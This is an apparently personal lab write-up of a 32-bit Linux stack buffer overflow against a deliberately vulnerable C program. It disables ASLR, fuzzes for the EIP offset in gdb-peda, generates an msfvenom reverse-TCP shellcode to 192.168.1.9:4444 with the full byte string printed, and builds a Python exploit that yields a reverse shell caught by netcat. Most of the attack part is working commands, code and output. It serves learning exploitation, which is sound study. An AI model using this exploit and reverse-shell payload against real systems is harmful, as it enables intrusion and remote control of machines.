

# Linux Buffer Overflow Foundation

## 1. What is Buffer Overflow

Exploiting the behavior of a buffer overflow is a well-known security exploit. On many systems, the memory layout of a program, or the system as a whole, is well defined. By sending in data designed to cause a buffer overflow, it is possible to write into areas known to hold executable code and replace it with malicious code, or to selectively overwrite data pertaining to the program's state, therefore causing behavior that was not intended by the original programmer. Buffers are widespread in operating system (OS) code, so it is possible to make attacks that perform privilege escalation and gain unlimited access to the computer's resources. The famed Morris worm in 1988 used this as one of its attack techniques.

Before StrCpy	Copy with 32 A's	Copy with 80 A's
StrCpy destination address	StrCpy destination address	StrCpy destination address
StrCpy source address	StrCpy source address	StrCpy source address
Reserved char buffer memory	AAAAAAAAAAAAAAAA	AAAAAAAAAAAAAAAA
Reserved char buffer memory	AAAAAAAAAAAAAAAA	AAAAAAAAAAAAAAAA
Reserved char buffer memory	Reserved char buffer memory	AAAAAAAAAAAAAAAA
Reserved char buffer memory	Reserved char buffer memory	AAAAAAAAAAAAAAAA
Return address of main	Return address of main	AAAA
Main parameter 1	Main parameter 1	AAAA
Main parameter 2	Main parameter 2	AAAA

## 2. Overflowing Program on Linux

### 2.1 Setting up environment

First up, we need to turn off Address Space Layout Randomization (ASLR):

```
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

Program source code:

```
#include<stdio.h>
#include<unistd.h>
```

```
int overflow(){
    char buffer[500];
    int userInput;
    userInput = read(0, buffer, 700);
    printf("\nUser provided %d bytes. Buffer content: %s", userInput, buffer);
    return 0;
}

int main(int argc, char*argv[]){
    overflow();
    return 0;
}
```

In here, we will use compiler `gcc` to compile to code

## 2.2 Overriding EIP

First up, we know the buffer size around 500 bytes or more, let's check how long it will crash and override the `EIP`, so let's try to fuzz the program to crash

Let's make 500 bytes of **A** and send to program to see if it crash

```
$ python3 -c "print('A'*500)" | ./oversize_overflow
```

[illegible]

As we can see, the program works good, so let's try with bigger size:

```
$ python3 -c "print('A'*700)" | ./oversize_overflow
```

```
th3knight$python -c "print('A'*700)" | ./oversize_overflow
zsh: done                                python -c "print('A'*700)" |
zsh: segmentation fault (core dumped)    ./oversize_overflow
```

At this time, the program crashed with 700 bytes size. Now on, using the gdb debugger to determine and get exact offset and override the **EIP**:

```
$ gdb -q oversize_overflow
```

In my gdb debugger, I've already installed *peda*, so there are many tool you might not see or you can use another tool likewise is ok.

- Creating fuzz buffer to get exact stack size:

```
gdb-peda$ pattern create 700 1.txt
Writing pattern of 700 chars to filename "1.txt"
gdb-peda$ r < 1.txt
```

```
AB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3AB
EIP: 0x4e734138 ('8AsN')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap I
[-----code-----
Invalid $PC address: 0x4e734138
[-----stack-----
0000| 0xfffffd240 ("AsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSA
CAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3A
0004| 0xfffffd244 ("s9AsOAskAsPAslAsQAsmAsRAsoAsSAspAs
AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIAE
0008| 0xfffffd248 ("OAskAsPAslAsQAsmAsRAsoAsSAspAsTAsq
BDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4
0012| 0xfffffd24c ("AsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUA
;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJA
0016| 0xfffffd250 ("slAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAs
ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB
0020| 0xfffffd254 ("QAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAs
BaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABK
0024| 0xfffffd258 ("AsRAsoAsSAspAsTAsqAsUAsrAsVAsTAsW
0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgA
0028| 0xfffffd25c ("soAsSAspAsTAsqAsUAsrAsVAsTAsWAsuAs
ABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6XV
[-----
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x4e734138 in ?? ()
gdb-peda$
gdb-peda$
```

Here is the result, and we can see the **EIP** (0x4e734138) point to invalid address, so the program crashed. Now, we are going to get exact size:

```
gdb-peda$ pattern offset 0x4e734138
1316176184 found at offset: 516
```

Get back to terminal, create the basic exploit to see if it overrided:

```
$ python -c "print('A'*516+'B'*4+'C'*100)" > input.txt
```

Run the input file in gdb debugger, we can see the **EIP** overrided with 0x42424242 (meant BBBB). We are completely done with overriding the **EIP**.

```

gdb-peda$ r < input.txt
Starting program: /home/th3knight/Desktop/learning/shellcoding/ine/overflow_foundat

Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x0
ESI: 0xf7fa6000 --> 0x1e4d6c
EDI: 0xf7fa6000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd240 ("C*100\n\372", <incomplete sequence \367>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
Invalid $PC address: 0x42424242
[-----stack-----]
0000| 0xffffd240 ("C*100\n\372", <incomplete sequence \367>)
0004| 0xffffd244 --> 0xf7fa0a30 --> 0x40 ('@')
0008| 0xffffd248 --> 0x0
0012| 0xffffd24c --> 0xf7ddfe46 (<__libc_start_main+262>:      add    esp,0x10)
0016| 0xffffd250 --> 0x1
0020| 0xffffd254 --> 0xffffd2f4 --> 0xffffd458 ("/home/th3knight/Desktop/learning/s
ersize_overflow")
0024| 0xffffd258 --> 0xffffd2fc --> 0xffffd4af ("SHELL=/bin/bash")
0028| 0xffffd25c --> 0xffffd284 --> 0x0
[-----]
gdb-peda$ 
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$

```

## 2.3 Execute the Shellcode

### 2.3.1 Shellcode generation

To generate the shellcode, in this section we will use msfvenom to generate it

```

$ msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.9 lport=4444 -b
"\x00" -f python -o payload.py --platform linux -a x86

```

- Options description:

```

-p: Which mean payload
-b: bad characters caused crash
-f: file type
-o: output
-a: architecture
--platform: platform for the payload
lhost: listening host
lport: listening port

```

```

L~th3knight$ cat payload.py
buf = b""
buf += b"\xdb\xc3\xd9\x74\x24\xf4\x5d\x29\xc9\xbe\x4d\x2c\x0e"
buf += b"\xe0\xb1\x12\x83\xed\xfc\x31\x75\x13\x03\x38\x3f\xec"
buf += b"\x15\xf3\xe4\x07\x36\xa0\x59\xbb\xd3\x44\xd7\xda\x94"
buf += b"\x2e\x2a\x9c\x46\xf7\x04\xa2\xa5\x87\x2c\xa4\xcc\xef"
buf += b"\x6e\xfe\x2e\xe6\x06\xfd\x30\xe9\x8a\x88\xd0\xb9\x55"
buf += b"\xdb\x43\xea\x2a\xd8\xea\xed\x80\x5f\xbe\x85\x74\x4f"
buf += b"\x4c\x3d\xe1\xa0\x9d\xdf\x98\x37\x02\x4d\x08\xc1\x24"
buf += b"\xc1\xa5\x1c\x26"

```

## 2.3.2 Finding the returning address to execute the shellcode

We got the shellcode, now we need to find the address to override the **EIP** and point it to the shellcode to make it execute. To do this, we will make **A** buffer and open the **gdb**.

```
$ python -c "print('A'*700)" > input.txt
```

```
gdb-peda$ r < input.txt
```

After run, the program will be crashed, use `x/20wx $esp-0x230` to show stack similar with below picture.

```

gdb-peda$ x/20wx $esp-0x230
0xffffd010:    0x56557008    0xf7ffd980    0xf7e15025    0x565561f3
0xffffd020:    0x56557008    0x000002bc    0xffffd038    0x565561b8
0xffffd030:    0xfffff7a0    0x00000000    0x41414141    0x41414141
0xffffd040:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd050:    0x41414141    0x41414141    0x41414141    0x41414141

```

In the picture, we can see the buffer start in `0xffffd030 + 0x8`, so `0xffffd038` will be our return address

## 2.3.3 Proof of Concept (PoC)

We will edit the `payload.py` which we've already created above:

```

#!/usr/bin/python3
import struct

buf = b""
buf += b"\xdb\xc3\xd9\x74\x24\xf4\x5d\x29\xc9\xbe\x4d\x2c\x0e"
buf += b"\xe0\xb1\x12\x83\xed\xfc\x31\x75\x13\x03\x38\x3f\xec"
buf += b"\x15\xf3\xe4\x07\x36\xa0\x59\xbb\xd3\x44\xd7\xda\x94"
buf += b"\x2e\x2a\x9c\x46\xf7\x04\xa2\xa5\x87\x2c\xa4\xcc\xef"
buf += b"\x6e\xfe\x2e\xe6\x06\xfd\x30\xe9\x8a\x88\xd0\xb9\x55"
buf += b"\xdb\x43\xea\x2a\xd8\xea\xed\x80\x5f\xbe\x85\x74\x4f"
buf += b"\x4c\x3d\xe1\xa0\x9d\xdf\x98\x37\x02\x4d\x08\xc1\x24"
buf += b"\xc1\xa5\x1c\x26"

with open('input.txt', 'wb') as file:

```

```
offset = 516
nop = b'\x90'*16
junk = b'A'
ret_add = struct.pack('<L', 0xffffd038)
payload = nop + buf + junk * (offset - 16 - len(buf)) + ret_add
file.write(payload)
```

After run we have text file `input.txt`

[illegible]

Finally, we got the result, shellcode is connected

```

--th3knight$nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.9] from (UNKNOWN) [192.168.1.9] 44460

[th3knight]~[21:18-18/01]-[/home/th3knight/Desktop/learning/shellcoding/ine/overflow_foundation]
--th3knight$gdb -q overflow_overflow
Reading symbols from overflow_overflow...
(No debugging symbols found in overflow_overflow)
gdb-peda$ r < input.txt
Starting program: /home/th3knight/Desktop/learning/shellcoding/ine/overflow_foundation/overflow_overflow < input.txt
process 194378 is executing new program: /usr/bin/dash

```

```
[th3knight]-[21:16-18/01]-[/home/th3knight]
th3knight$nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.9] from (UNKNOWN) [192.168.1.9] 44460
whoami
th3knight
```

----- Done -----